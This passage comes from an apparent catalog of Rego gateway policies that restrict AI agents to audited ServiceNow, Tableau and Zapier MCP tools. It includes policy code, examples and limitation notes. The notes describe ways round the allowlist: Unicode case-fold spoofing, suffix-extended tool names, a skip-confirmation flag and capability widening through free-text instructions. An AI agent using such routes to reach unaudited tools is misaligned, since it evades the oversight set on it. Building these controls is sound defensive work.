Guarded by is_string so a non-string name still yields a clean, reasoned deny. raw_name_is_plain_ascii if { is_string(raw_tool_name) regex.match(`^[A-Za-z0-9._-]+$`, raw_tool_name) } # Allow only when the raw name is plain ASCII AND ends with an audited suffix. allow if { raw_name_is_plain_ascii some suffix in allowed_tool_suffixes endswith(tool_name, suffix) } reason := "This Power BI tool is not on the audited allowlist, so the gateway denies it by default and surfaces the call as tool drift. The Power BI Modeling MCP server is preview and can add or rename tools between upgrades, and this gate is the only enforcement point that cannot be bypassed with the server's --skipconfirmation flag or unimplemented client elicitation. Re-run the dump-input technique after the upgrade, audit the tool, and if it is safe for agents add its verified suffix to the allowlist. Contact your data-governance team if this is a false positive." if not allow ``` ### Default-Deny Unknown ServiceNow Tools URL: https://www.intentbasedpolicy.com/policies/servicenow/default-deny-unknown-tools App(s): servicenow | Direction: ingress | Bundles: soc2 | Package: servicenow.ingress.default_deny_unknown_tools | Published: 2026-07-12 | Tags: servicenow, default-deny-unknown-tools, allowlist, ingress, soc2 Source: https://github.com/dtwoai/policy-store/blob/main/apps/servicenow/default-deny-unknown-tools/policy.md # servicenow / default-deny-unknown-tools **Direction:** ingress (`tool_pre_invoke`) **Default:** deny — only allowlisted tool names pass **Package:** `servicenow.ingress.default_deny_unknown_tools` ## What it does Maintains an allowlist of audited ServiceNow tool-name suffixes and denies any tool call whose name does not match an allowlisted entry. Everything not explicitly audited is blocked before it reaches the ServiceNow MCP server — including tools that appear after an upstream server update, tools an admin newly publishes from the MCP Server Console, and renamed variants of existing tools. A missing or empty tool name also fails closed. This posture is **mandatory for ServiceNow** rather than optional hardening: the official ServiceNow MCP Server (MCP Server Console, GA since the Zurich release) has **no fixed tool inventory**. Admins publish instance-defined tools of four types — Now Assist Skills, Knowledge Graph queries, Flow Designer subflows/actions (end-to-end writes including approvals), and Scripted REST APIs — and the resulting tool names have no canonical naming scheme. A blocklist can never keep up with a tool surface the instance itself defines; only an allowlist pinned to what you have actually audited can. The same mechanism neutralizes two further drift sources: - **Upstream renames/drift** in community servers — a renamed or newly added tool stops matching the allowlist and is denied until re-audited. - **Naming divergence between servers** — echelon-ai-labs and michaelbuckner use `verb_noun` (`create_incident`) while other servers use `noun_verb` (`incident_create`); a tool from a swapped-in server with a different convention is denied instead of silently inheriting trust. ## Pin the allowlist to YOUR instance at import time The shipped `allowed_tool_suffixes` array is a **starter set**, drawn from the two verified community inventories (echelon-ai-labs/servicenow-mcp and michaelbuckner/servicenow-mcp). It is not, and cannot be, a list of *your* tools. **At import time, replace or extend the array with the tool list your tenant actually publishes**: export the published tool names from your MCP Server Console (or your community server's tool package) and pin the allowlist to exactly that audited set. If you use the official ServiceNow MCP Server, this step is not optional — your Now Assist Skills, Knowledge Graph schemas, subflows, and Scripted REST API tools all carry names this policy cannot know in advance, and every one of them will be denied until you add it. ## Compliance alignment - **SOC 2 CC6.1** — supports logical access security over protected assets: the agent channel can only reach ServiceNow capabilities that were explicitly reviewed and enumerated. - **SOC 2 CC6.6** — supports boundary protection: instance-published or upstream-added tools do not become reachable through the gateway boundary without an explicit allowlist change. - **SOC 2 CC6.8** — supports prevention of unauthorized software: subflows, Scripted REST APIs, and server-side capabilities published as tools are unauthorized-by-default on the agent path. - **SOC 2 CC7.2 / CC7.3** — deny decisions from this policy surface tool drift (new/renamed upstream tools) as observable gateway events that feed anomaly monitoring and event evaluation. - **GDPR Art. 25** — supports data protection by design and by default on the agent channel: the default state of any new data-bearing tool is "inaccessible until audited." ## Tool name matching The DTwo gateway prefixes tool names with the configured MCP server name as `-` (e.g. `servicenow-mcp-create_incident`), and that prefix is not standardized across deployments. The policy therefore matches case-insensitively on `lower(input.resource.name)` in two ways: 1. **Exact match** against an allowlisted suffix (covers unprefixed names), or 2. **Suffix match requiring the `-` separator** — the name must end with `-`. Requiring the separator stops an unaudited tool whose name merely *ends with* an allowlisted string (e.g. `forget_record` ends with `get_record`) from riding through on suffix matching. Both branches first require the **raw** (pre-lowercase) tool name to consist only of the ASCII set real tool names use — `[A-Za-z0-9._-]`. This is checked before `lower()` runs, which closes a Unicode case-folding evasion: `lower()` folds a handful of non-ASCII code points onto ASCII letters (e.g. the Kelvin sign `U+212A` → `k`), so without the guard a tool registered as `list_nowledge_bases` would fold to the allowlisted `list_knowledge_bases` and pass — even though it is a visibly different, un-audited name. A name containing any character outside that ASCII set is denied. The starter allowlist covers read and reversible record-write tools from the verified inventories: `list_incidents`, `create_incident`, `update_incident`, `add_comment`, `resolve_incident`, `list_change_requests`, `get_change_request_details`, `list_articles`, `get_article`, `list_knowledge_bases`, `list_catalog_items`, `get_catalog_item`, `list_catalog_categories` (echelon-ai-labs) and `get_record`, `search_records`, `perform_query`, `add_work_notes` (michaelbuckner). High-blast-radius tools are deliberately **excluded** from the starter set: change approval (`approve_change`, `reject_change`, `submit_change_for_approval`), user/group mutation, workflow/script-include editing, changeset commit/publication, `update_script`, and `natural_language_update`. Audit before you add any of them. Verify the exact names your gateway sends with the dump-input debug technique before relying on this in production. ## Argument shape This policy only inspects the tool **name** (`input.resource.name`). It reads no arguments, so it is insensitive to argument-shape differences between servers. Missing `resource` or `resource.name` resolves to `""` via `object.get`, which matches nothing — the call is denied (fail closed). A **non-string** name (null, number, object, or array — a malformed or hostile request) is coerced to `""` rather than passed to `lower()`; without that guard `lower()` would raise a built-in type error that leaves `allow` and the deny `reason` undefined, so the call would deny without a surfaced reason. With the guard it is a clean, reasoned deny. A **string** name containing any character outside `[A-Za-z0-9._-]` (non-ASCII letters, whitespace, control characters) likewise never reaches the allow branches and is denied. ## Examples ### Allowed ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "servicenow-mcp-create_incident", "type": "tool" }, "payload": { "name": "servicenow-mcp-create_incident", "args": { "short_description": "Printer on floor 3 is down" } } } } ``` `allow = true`, no reason. ### Denied ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "servicenow-mcp-approve_change", "type": "tool" }, "payload": { "name": "servicenow-mcp-approve_change", "args": { "change_id": "CHG0031337" } } } } ``` `allow = false`, `reason = "This ServiceNow tool has not been audited for agent use (...)"`. ## Composition This policy is the outer gate — it decides *which tools exist* for agents. Pair it with policies that constrain *how* the allowlisted tools are used: - A **table-fencing ingress policy** for the generic-access tools (`get_record`, `search_records`, `perform_query` take a table name and reach any table the credential can read — `sys_user`, `sn_hr_core_case`, `cmdb_ci`, custom PII tables). If you keep them on the allowlist, fence the sensitive tables; if you cannot, remove them from the allowlist. - A **human-only change approval policy** denying `approve_change` / `reject_change` / `submit_change_for_approval` — so that even if a tenant later allowlists them, agent-actuated approval stays blocked. - A **force-internal-comments transform** on `add_comment` (`is_work_note=false` writes to the customer-visible journal). - An **egress PII redaction policy** on list/get/search responses. ## Known limitations - **The starter allowlist is not your tool list.** Tenants on the official ServiceNow MCP Server publish instance-defined tool names this policy cannot anticipate; every published tool is denied until added. Pinning the allowlist at import time is a required deployment step, not a tuning step. - **Name-based trust only.** The policy audits tool *names*, not behavior. A tenant admin who publishes a dangerous subflow under an allowlisted name (or an upstream server that repurposes an allowlisted name for different behavior) bypasses the intent while matching the letter. Re-audit when upstream servers or Console publications change. - **Suffix matching trusts the `-` prefix convention.** A published tool literally named `-get_record` (separator included) would match the `get_record` entry even though it is a different tool. Exact-name pinning (replace suffix entries with full gateway names) closes this if your deployment needs it. - **ASCII-only tool names.** Matching requires the raw tool name to be `[A-Za-z0-9._-]` (letters, digits, underscore, dot, hyphen) — the shape all verified ServiceNow/community tool names and typical gateway server-name prefixes take. This is deliberate (it blocks Unicode case-fold spoofing), but a deployment whose configured MCP server name contains other characters (spaces, `@`, `/`, non-ASCII) would see even its legitimate tools denied; rename the server to an ASCII slug, or relax the character class, if so. - **Official-server tool names unverified.** No canonical naming scheme for MCP Server Console tools could be verified from public documentation; the starter set intentionally contains no official-server names. - **No identity-based exemptions.** All callers face the same allowlist. If you need a break-glass group that can call unaudited tools, add a separate `allow if` branch gated on `input.subject.claims` groups. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package servicenow.ingress.default_deny_unknown_tools # Deny-by-default: a tool call is allowed only via allowlist membership below. # A missing or empty tool name matches nothing and is therefore denied. default allow := false # Audited ServiceNow tool-name suffixes — STARTER SET, pin to your tenant's # published tool list at import time (see the policy description). # Sources: echelon-ai-labs/servicenow-mcp and michaelbuckner/servicenow-mcp # (verified inventories). High-blast-radius tools (change approval, user/group # mutation, workflow/script editing, changeset publication, update_script, # natural_language_update) are deliberately excluded — audit before adding. allowed_tool_suffixes := [ # Incident lifecycle (echelon-ai-labs; create/update/add_comment/ # add_work_notes shapes also verified in michaelbuckner) "list_incidents", "create_incident", "update_incident", "add_comment", "resolve_incident", # Change requests — read-only entries; approval tools intentionally absent "list_change_requests", "get_change_request_details", # Knowledge base — read-only; publish_article intentionally absent "list_articles", "get_article", "list_knowledge_bases", # Service catalog — read-only "list_catalog_items", "get_catalog_item", "list_catalog_categories", # Generic record access (michaelbuckner) — table-scoped: pair with a # table-fencing policy or remove these entries (see Composition) "get_record", "search_records", "perform_query", "add_work_notes", ] # Raw tool name straight from the request. Missing resource/name resolves to "" # via object.get and matches nothing (fail closed). raw_tool_name := object.get(object.get(input, "resource", {}), "name", "") # Tool name, lowercased. A non-string name (null, number, object, array — a # malformed or hostile request) is coerced to "" instead of being handed to # lower(), which would raise a built-in type error and leave `allow`/`reason` # undefined. Coercing keeps the decision a clean, reasoned deny (fail closed). tool_name := lower(raw_tool_name) if is_string(raw_tool_name) tool_name := "" if not is_string(raw_tool_name) # Character-class guard on the RAW (pre-lowercase) name. Real ServiceNow / # community tool names and gateway `-` prefixes use only ASCII # letters, digits, underscore, dot, and the `-` separator. Checking the raw name # BEFORE lower() closes a Unicode case-folding evasion: lower() folds some # non-ASCII code points onto ASCII letters (e.g. the Kelvin sign U+212A -> "k"), # so a tool registered as `list_nowledge_bases` would otherwise fold to # the allowlisted `list_knowledge_bases` and slip through the default-deny gate # despite being a visibly different, un-audited name. Guarded by is_string so a # non-string name still yields a clean, reasoned deny (no built-in type error). raw_name_is_plain_ascii if { is_string(raw_tool_name) regex.match(`^[A-Za-z0-9._-]+$`, raw_tool_name) } # Exact match — covers deployments where the gateway sends the bare tool name. allow if { raw_name_is_plain_ascii some suffix in allowed_tool_suffixes tool_name == suffix } # Prefixed match — the DTwo gateway names tools `-`. # Requiring the `-` separator before the suffix stops unaudited tools whose # names merely end with an allowlisted string (e.g. `forget_record` ends with # `get_record`) from slipping through. allow if { raw_name_is_plain_ascii some suffix in allowed_tool_suffixes endswith(tool_name, sprintf("-%s", [suffix])) } reason := "This ServiceNow tool has not been audited for agent use, so the gateway denies it by default. Ask a gateway admin to review the tool and, if it is safe for agents, add it to the audited allowlist." if not allow ``` ### Default-Deny Unknown Tableau Tools URL: https://www.intentbasedpolicy.com/policies/tableau/default-deny-unknown-tools App(s): tableau | Direction: ingress | Bundles: soc2 | Package: tableau.ingress.default_deny_unknown_tools | Published: 2026-07-12 | Tags: tableau, default-deny, unknown-tools, allowlist, ingress, soc2 Source: https://github.com/dtwoai/policy-store/blob/main/apps/tableau/default-deny-unknown-tools/policy.md # tableau / default-deny-unknown-tools **Direction:** ingress (`tool_pre_invoke`) **Default:** deny — allow only pinned, verified tool names **Package:** `tableau.ingress.default_deny_unknown_tools` ## What it does Fails closed on tool drift. The policy carries a **pinned allowlist** of the 39 tools in the verified official Tableau web toolset (`tableau/tableau-mcp` v2.24.x, Jul 2026). A Tableau call is allowed only when the suffix of `lower(input.resource.name)` matches an allowlisted tool name; **every other name is denied** and surfaced with an actionable reason for operator review. The hosted `mcp.tableau.com` server ships new tools automatically as Tableau releases them, so an un-pinned gateway silently gains ungoverned tool surface between releases. This policy makes a new, renamed, or misspelled upstream tool name fail closed until an operator adds it to the allowlist and re-verifies against the server's `tools/list` after each upgrade — turning a silent capability expansion into an explicit, reviewed change. The one exception is a new name that *suffix-extends* a pinned entry (e.g. a future `force-delete-workbook` ending with the pinned `-delete-workbook`); suffix matching lets that through the existence gate — see **Known limitations** for why, and how the danger-scoped companions still catch it. This is a PF-28 (default-deny-unknown-tools) ingress control. `default allow := false` is the whole point: the allowlist is the *only* thing that grants access. ## Per-tenant pinning `allowed_tool_suffixes` is a **per-tenant constant** — it is the pinned inventory for one tenant's Tableau deployment at one point in time. It is not self-updating. The intended operational loop is: 1. After every Tableau MCP server upgrade (hosted or self-hosted), call `tools/list` on the server. 2. Diff the returned tool names against `allowed_tool_suffixes`. 3. For each new tool, decide whether it belongs on the allowlist, add its kebab-case suffix, and re-publish this policy version. Denied names in your deny logs are the review queue. The shipped list covers **only** the official web toolset. Tableau Next (the Agentforce-platform product, `analytics/tableau-next`) exposes a **disjoint snake_case** toolset (`analyze_data`, `list_dashboards`, `search_assets`, …) that is intentionally **not** on this list — it is a separate product requiring its own allowlist policy. If you run both products behind one gateway, attach a second default-deny policy for the Tableau Next server rather than merging the lists. ## Compliance alignment - **SOC 2 CC6.1** — supports logical access security over protected assets by ensuring only an audited, named set of tools can reach the analytics backend on the agent channel. - **SOC 2 CC6.6** — supports boundary protection: an upstream server that grows new tools cannot expand the gateway's reachable surface without an explicit allowlist change. - **SOC 2 CC6.8** — supports the "prevent unauthorized software/functionality" control by denying tool functionality that has not been reviewed and pinned. - **SOC 2 CC7.2 / CC7.3** — the deny-and-surface behaviour feeds anomaly monitoring: a denied, unknown tool name in the audit stream is the drift-detection signal for a new or renamed tool. - **GDPR Art. 25** — supports data protection by design and by default on the agent channel: the default posture is deny, and new data-reaching capabilities are off until deliberately enabled. ## Tool name matching Matching is on the **suffix** of `lower(input.resource.name)`, case-insensitive. The DTwo gateway prefixes every tool name with the configured MCP server name (e.g. `tableau-mcp-query-datasource`), and that prefix is not standardized across deployments — suffix matching keeps the policy portable. The official server uses **kebab-case with no vendor prefix** (`query-datasource`, `delete-workbook`), so each allowlist entry is the leading-hyphen kebab suffix (`-query-datasource`, `-delete-workbook`). The 39 pinned tools, by group: - **Data reads:** `-query-datasource`, `-get-datasource-metadata`, `-list-datasources`, `-get-view-data`, `-get-custom-view-data`, `-get-view-image`, `-get-custom-view-image` - **Catalog / metadata reads:** `-list-workbooks`, `-get-workbook`, `-get-view`, `-list-views`, `-list-custom-views`, `-list-projects`, `-search-content`, `-list-jobs`, `-list-users`, `-list-extract-refresh-tasks` - **Pulse reads:** `-list-all-pulse-metric-definitions`, `-list-pulse-metric-definitions-from-definition-ids`, `-list-pulse-metrics-from-metric-definition-id`, `-list-pulse-metrics-from-metric-ids`, `-list-pulse-metric-subscriptions`, `-generate-pulse-metric-value-insight-bundle`, `-generate-pulse-insight-brief` - **Admin-insights reads:** `-query-admin-insights-ts-events`, `-query-admin-insights-site-content`, `-query-admin-insights-job-performance`, `-get-stale-content-report` - **Token / session:** `-get-embed-token`, `-revoke-access-token`, `-reset-consent` - **Mutations + their `confirm-` twins:** `-delete-datasource`, `-confirm-delete-datasource`, `-delete-workbook`, `-confirm-delete-workbook`, `-delete-extract-refresh-task`, `-confirm-delete-extract-refresh-task`, `-update-cloud-extract-refresh-task`, `-confirm-update-cloud-extract-refresh-task` Every destructive tool has a `confirm-` twin registered as a *separate* tool; both the base and the `-confirm-` name are pinned so the preview→confirm protocol works end to end. This policy is a **gate on existence, not on danger** — it allows the mutation and token tools so they remain usable; pair it with the danger-scoped policies below to actually restrict them. ## Argument shape This policy inspects **only the tool name** (`input.resource.name`). It does not read `input.payload.args`, so it is insensitive to argument shape and to the `confirm` preview/execute distinction. Argument-level control is the job of the companion policies. ## Examples ### Allowed — a pinned read tool (server-prefixed) ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "tableau-mcp-query-datasource", "type": "tool" }, "payload": { "name": "tableau-mcp-query-datasource", "args": { "datasourceLuid": "abc-123", "query": { "fields": [] } } } } } ``` `allow = true`, no reason. ### Denied — a new/renamed upstream tool not yet pinned ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "tableau-mcp-list-flows", "type": "tool" }, "payload": { "name": "tableau-mcp-list-flows", "args": {} } } } ``` `allow = false`, reason names the tool and tells the operator to verify against `tools/list` and add it to the allowlist. ### Denied — a Tableau Next (snake_case) tool ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "tableau-next-analyze_data", "type": "tool" }, "payload": { "name": "tableau-next-analyze_data", "args": { "utterance": "top accounts" } } } } ``` `allow = false` — Tableau Next tools are a separate product and belong on their own allowlist. ## Composition This policy governs *which tools exist*; it does not restrict *how* an allowed tool is used. Attach it alongside the danger-scoped Tableau policies: - **`freeze-destructive-content`** / a mutation-admin gate — restrict the delete/update tools and their `confirm-` twins by IdP group and by the `confirm` flag. - **`fence-datasource-scope`** — allowlist `datasourceLuid` on `query-datasource`. - A **token-management deny** — block `get-embed-token`, `revoke-access-token`, `reset-consent`. - An **egress PII-redaction / image-deny** policy for `query-datasource`, `get-view-data`, and the image tools. Because a default-deny allowlist denies **everything not on the list**, attach this policy to the **Tableau MCP server's pipeline only** — not gateway-wide. Attached gateway-wide it would deny every non-Tableau tool (including your DTwo management tools, which can self-lock the gateway — see Known limitations). ## Known limitations - **Suffix matching is portable but broad — including against *same-server* variants.** Because the gate matches on the *end* of the tool name, any name that merely *ends with* a pinned suffix is allowed. Two cases matter. (a) An *unrelated* tool on another server (e.g. `something-query-datasource`) — avoided by scoping this policy to the Tableau pipeline only. (b) More importantly, a **new, more-dangerous variant of a pinned Tableau tool**: a future `force-delete-workbook`, `bulk-delete-datasource`, or `hard-delete-extract-refresh-task` ends with the pinned `-delete-workbook` / `-delete-datasource` / `-delete-extract-refresh-task` suffix and is therefore **allowed automatically** — even though it is exactly the kind of new, unreviewed tool PF-28 exists to catch. So the "a new upstream tool fails closed" guarantee holds only for names that do **not** suffix-extend an existing entry; a verb-prefixed superstring (`-`) slips past the existence gate. This is confirmed by the `force-delete-workbook` test case. Two things bound the blast radius: (1) this is an *existence* gate, not a *danger* gate — the danger-scoped companions below (mutation-admin gate, token deny) still catch such a tool by argument/identity even when this gate lets its name through; and (2) for a strict posture, replace the `endswith` checks with exact-name comparisons once you have confirmed the exact server-prefixed names your gateway emits via the dump-input debug technique. Names that are *renamed* rather than suffix-extended (`purge-workbook`, `remove-workbook`, misspellings) still fail closed as intended. - **Generic suffixes collide across servers.** `-list-users`, `-list-jobs`, and `-search-content` are not distinctive to Tableau. If this policy were (incorrectly) attached gateway-wide, those suffixes would allow same-named tools on other MCP servers. Keep it scoped to the Tableau pipeline. - **Self-lock risk.** As a `default allow := false` allowlist, this policy denies `dtwo-*` management tools if they route through the same gateway. Attach it only to the Tableau pipeline, or add a `dtwo-` management passthrough, to avoid locking yourself out (recover by detaching via the DTwo web UI). - **The list is a snapshot, not a subscription.** It reflects the verified v2.24.x inventory (source-verified from `src/tools/web/toolName.ts`). It does not update itself — a Tableau upgrade that adds tools requires a manual re-verification against `tools/list` and a new policy version. - **Name only.** This policy does not inspect arguments, identity claims, or the `confirm` flag — an allowed mutation tool is still allowed to execute unless a companion policy restricts it. - **No identity placeholders.** The allowlist is the same for every caller; this policy is not identity-gated. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package tableau.ingress.default_deny_unknown_tools # Default-deny-unknown-tools (PF-28). Only the pinned allowlist below grants access; # every unpinned, new, renamed, or misspelled tool name fails closed. default allow := false # Per-tenant pinned allowlist: the 39 tools of the verified official Tableau web # toolset (tableau/tableau-mcp v2.24.x, Jul 2026 — source: src/tools/web/toolName.ts). # Entries are leading-hyphen kebab suffixes because the gateway prefixes each tool # with the configured MCP server name (e.g. `tableau-mcp-query-datasource`). # This is a SNAPSHOT: re-verify against the server's tools/list after each upgrade # and add new tools here explicitly. Tableau Next's snake_case tools are a separate # product and are intentionally excluded. allowed_tool_suffixes := { # Data reads "-query-datasource", "-get-datasource-metadata", "-list-datasources", "-get-view-data", "-get-custom-view-data", "-get-view-image", "-get-custom-view-image", # Catalog / metadata reads "-list-workbooks", "-get-workbook", "-get-view", "-list-views", "-list-custom-views", "-list-projects", "-search-content", "-list-jobs", "-list-users", "-list-extract-refresh-tasks", # Pulse reads "-list-all-pulse-metric-definitions", "-list-pulse-metric-definitions-from-definition-ids", "-list-pulse-metrics-from-metric-definition-id", "-list-pulse-metrics-from-metric-ids", "-list-pulse-metric-subscriptions", "-generate-pulse-metric-value-insight-bundle", "-generate-pulse-insight-brief", # Admin-insights reads "-query-admin-insights-ts-events", "-query-admin-insights-site-content", "-query-admin-insights-job-performance", "-get-stale-content-report", # Token / session "-get-embed-token", "-revoke-access-token", "-reset-consent", # Mutations and their confirm- twins "-delete-datasource", "-confirm-delete-datasource", "-delete-workbook", "-confirm-delete-workbook", "-delete-extract-refresh-task", "-confirm-delete-extract-refresh-task", "-update-cloud-extract-refresh-task", "-confirm-update-cloud-extract-refresh-task", } # Lowercased tool name, safe against a missing resource.name (missing -> "" -> deny). tool_name := lower(object.get(input.resource, "name", "")) # Allow only when the tool name ends with a pinned allowlist suffix. allow if { some suffix in allowed_tool_suffixes endswith(tool_name, suffix) } # Single deny condition: anything not on the allowlist. Name the offending tool and # tell the operator exactly what to do. reason := sprintf( "Tableau tool '%s' is not on the pinned allowlist of verified official web tools (tableau-mcp v2.24.x, 39 tools). It may be new, renamed, or misspelled upstream. An operator must re-verify the server's tools/list after the latest upgrade and add the tool's kebab-case name suffix to allowed_tool_suffixes before it can be used. Tableau Next's snake_case tools belong on their own allowlist. Contact your InfoSec team if this is a legitimate tool that should be allowed.", [object.get(input.resource, "name", "")], ) if not allow ``` ### Default-Deny Unknown Zapier Tools URL: https://www.intentbasedpolicy.com/policies/zapier/default-deny-unknown-tools App(s): zapier | Direction: ingress | Bundles: soc2 | Package: zapier.ingress.default_deny_unknown_tools | Published: 2026-07-12 | Tags: zapier, default-deny-unknown-tools, allowlist, ingress, soc2 Source: https://github.com/dtwoai/policy-store/blob/main/apps/zapier/default-deny-unknown-tools/policy.md # zapier / default-deny-unknown-tools **Direction:** ingress (`tool_pre_invoke`) **Default:** deny — only allowlisted tool names pass **Package:** `zapier.ingress.default_deny_unknown_tools` ## What it does Maintains an allowlist of audited Zapier tool-name suffixes and denies any tool call whose name does not match an allowlisted entry, with an alert-worthy reason that tells the operator to treat the deny as upstream drift. Everything not explicitly audited is blocked before it reaches the Zapier MCP server. A missing or empty tool name also fails closed. This posture is **mandatory for Zapier** rather than optional hardening. Zapier MCP runs in one of two mutually exclusive modes per server, and the two modes produce disjoint, independently drifting tool namespaces: - **Agentic mode (dynamic tool discovery — Zapier's default):** 15 static meta-tools (`execute_zapier_read_action`, `execute_zapier_write_action`, the action-management, skill, config, and feedback tools). The names are fixed, but the meta-tools proxy 40,000+ actions across 9,000+ apps. - **Classic mode (manual configuration):** one per-account `_` tool for each action the server owner enabled at mcp.zapier.com (e.g. `gmail_send_email`, `slack_send_message`). This set **changes silently** whenever an action is added, renamed, or removed — Zapier can add tools to a running server with **no client-visible change**. A blocklist can never keep up with a tool surface the upstream account defines; only an allowlist pinned to what you have actually audited can. With this policy attached, a renamed or newly enabled Zapier action appearing mid-session becomes a hard deny surfaced for review instead of an implicitly-trusted new capability. ## Pin the allowlist to YOUR server mode at import time The shipped `allowed_tool_suffixes` array is the **agentic-mode default**: the 15 verified meta-tool names from Zapier's own documentation. That is the correct pin only for servers running dynamic tool discovery. **Classic-mode operators must replace the array with their own enabled `_` inventory, pinned per tenant.** Each Zapier MCP server is per-account: export the list of actions you enabled at mcp.zapier.com and pin the allowlist to exactly that audited set. There is no canonical classic-mode inventory this policy could ship — your enabled actions are yours alone. After pinning, any action later enabled upstream (by an owner, a teammate, or Zapier itself) is denied until you re-audit and add it, which is the point: the audited surface stays fixed even though the upstream one does not. ## Compliance alignment - **SOC 2 CC6.1** — supports logical access security over protected assets: through the single Zapier connector the agent can only reach capabilities that were explicitly reviewed and enumerated. - **SOC 2 CC6.6** — supports boundary protection: tools added upstream at mcp.zapier.com do not become reachable through the gateway boundary without an explicit allowlist change. - **SOC 2 CC6.8** — supports prevention of unauthorized software: new upstream actions and renamed tool variants are unauthorized-by-default on the agent path. - **SOC 2 CC7.2 / CC7.3** — deny decisions from this policy surface tool drift (new/renamed upstream tools) as observable gateway events that feed anomaly monitoring and event evaluation. - **GDPR Art. 25** — supports data protection by design and by default on the agent channel: the default state of any new Zapier-proxied, data-bearing tool is "inaccessible until audited." ## Tool name matching The DTwo gateway prefixes tool names with the configured MCP server name as `-` (e.g. `zapier-mcp-execute_zapier_read_action`), and that prefix is not standardized across deployments. The policy therefore matches case-insensitively on `lower(input.resource.name)` in two ways: 1. **Exact match** against an allowlisted suffix (covers unprefixed names), or 2. **Suffix match requiring the `-` separator** — the name must end with `-`. Requiring the separator stops an unaudited tool whose name merely *ends with* an allowlisted string (e.g. a classic-mode tool named `gmail_execute_zapier_write_action` ends with `execute_zapier_write_action` but is underscore-glued, not a gateway prefix) from riding through on suffix matching. Both branches first require the **raw** (pre-lowercase) tool name to consist only of the ASCII set real tool names use — `[A-Za-z0-9._-]`. This is checked before `lower()` runs, which closes a Unicode case-folding evasion: `lower()` folds a handful of non-ASCII code points onto ASCII letters (e.g. the Kelvin sign `U+212A` → `k`), so without the guard a tool registered as `send_feedbac` would fold to the allowlisted `send_feedback` and pass — even though it is a visibly different, un-audited name. A name containing any character outside that ASCII set is denied. The shipped allowlist is the 15 agentic-mode meta-tools verified from Zapier's documentation: `execute_zapier_read_action`, `execute_zapier_write_action`, `list_enabled_zapier_actions`, `discover_zapier_actions`, `enable_zapier_action`, `disable_zapier_action`, `auto_provision_mcp`, `write_code_action`, `get_configuration_url`, `list_zapier_skills`, `get_zapier_skill`, `create_zapier_skill`, `update_zapier_skill`, `delete_zapier_skill`, `send_feedback`. Verify the exact names your gateway sends with the dump-input debug technique before relying on this in production. ## Argument shape This policy only inspects the tool **name** (`input.resource.name`). It reads no arguments, so it is insensitive to argument-shape differences between modes. Missing `resource` or `resource.name` resolves to `""` via `object.get`, which matches nothing — the call is denied (fail closed). A malformed `resource` that is not an object at all (a string or array) makes the name lookup undefined, which also lands on the default deny — still with the surfaced reason. A **non-string** name (null, number, object, or array — a malformed or hostile request) is coerced to `""` rather than passed to `lower()`; without that guard `lower()` would raise a built-in type error that leaves `allow` and the deny `reason` undefined, so the call would deny without a surfaced reason. With the guard it is a clean, reasoned deny. A **string** name containing any character outside `[A-Za-z0-9._-]` (non-ASCII letters, whitespace, control characters) likewise never reaches the allow branches and is denied. ## Examples ### Allowed ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "zapier-mcp-execute_zapier_read_action", "type": "tool" }, "payload": { "name": "zapier-mcp-execute_zapier_read_action", "args": { "instructions": "Find my three most recent Gmail messages" } } } } ``` `allow = true`, no reason. ### Denied ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "zapier-mcp-gmail_send_email", "type": "tool" }, "payload": { "name": "zapier-mcp-gmail_send_email", "args": { "instructions": "Email the Q3 forecast to my manager" } } } } ``` `allow = false`, `reason = "This Zapier tool is not on the audited allowlist pinned for this gateway (...)"`. ## Composition This policy is the outer gate — it decides *which tool names exist* for agents. It deliberately does not constrain *how* the allowlisted tools are used; pair it with companion Zapier policies: - A **toolset-freeze ingress policy** that denies (or group-gates) the self-modifying meta-tools — `enable_zapier_action`, `auto_provision_mcp`, `write_code_action`, and the skill-write tools. The shipped allowlist keeps their *names* reachable because they are part of the verified agentic surface; a freeze policy controls who may actually call them. - A **read-only posture policy** denying `execute_zapier_write_action` (and, classic mode, `send_`/`create_`/`update_`/`delete_` suffixes) for all but an approved group — one rule fences every write across 9,000 apps. - An **instructions-as-content policy**: every Zapier tool accepts an `instructions` string that Zapier's server-side AI uses to fill unspecified fields (recipients, bodies, record IDs), so name- and structured-field-level controls alone are bypassable by construction. - An **egress PII redaction policy** on `execute_zapier_read_action` and classic `*_find_*`/`*_get_*` responses — aggregator reads return raw app data with no source-app DLP. ## Known limitations - **Agentic mode hides drift inside arguments.** The 15 meta-tool names never change, but `enable_zapier_action` and `auto_provision_mcp` widen what `execute_zapier_read_action`/`execute_zapier_write_action` can reach without any new tool name appearing. Name pinning cannot see that — in agentic mode this policy fixes the *name* surface, not the *capability* surface. Pair with a toolset-freeze policy (see Composition) or remove the self-expansion suffixes from the allowlist. - **The shipped allowlist is agentic-mode only.** A classic-mode server behind this policy as shipped will have **every** tool denied, because classic `_` names are not on the list. That is fail-closed by design, but it means classic-mode pinning (see "Pin the allowlist") is a required deployment step, not a tuning step. - **Classic-mode names are per-account and mostly unverified.** Only a handful of classic tool names (`gmail_send_email`, `slack_send_message`, `google_sheets_create_row`, `notion_create_page`, `google_calendar_create_event`, `quickbooks_online_find_customer`) were verifiable from public third-party docs; the full inventory is defined by each account. Treat any other name as unverified until observed on your live server via the dump-input technique. - **Name-based trust only.** The policy audits tool *names*, not behavior. An upstream change that repurposes an allowlisted name for different behavior bypasses the intent while matching the letter. Re-audit when Zapier ships mode or meta-tool changes. - **Suffix matching trusts the `-` prefix convention.** A tool literally named `-send_feedback` (separator included) would match the `send_feedback` entry even though it is a different tool — and `` includes the empty string, so a name that is just `-send_feedback` (leading separator, no prefix) also matches, even though no real gateway produces an empty server name. Exact-name pinning (replace suffix entries with full gateway names) closes both forms if your deployment needs it. - **The allowlist applies to every ingress hook, not just tool calls.** The policy checks only `input.resource.name` — it does not scope to `input.action == "tool_pre_invoke"` or `resource.type == "tool"`. On a pipeline that also 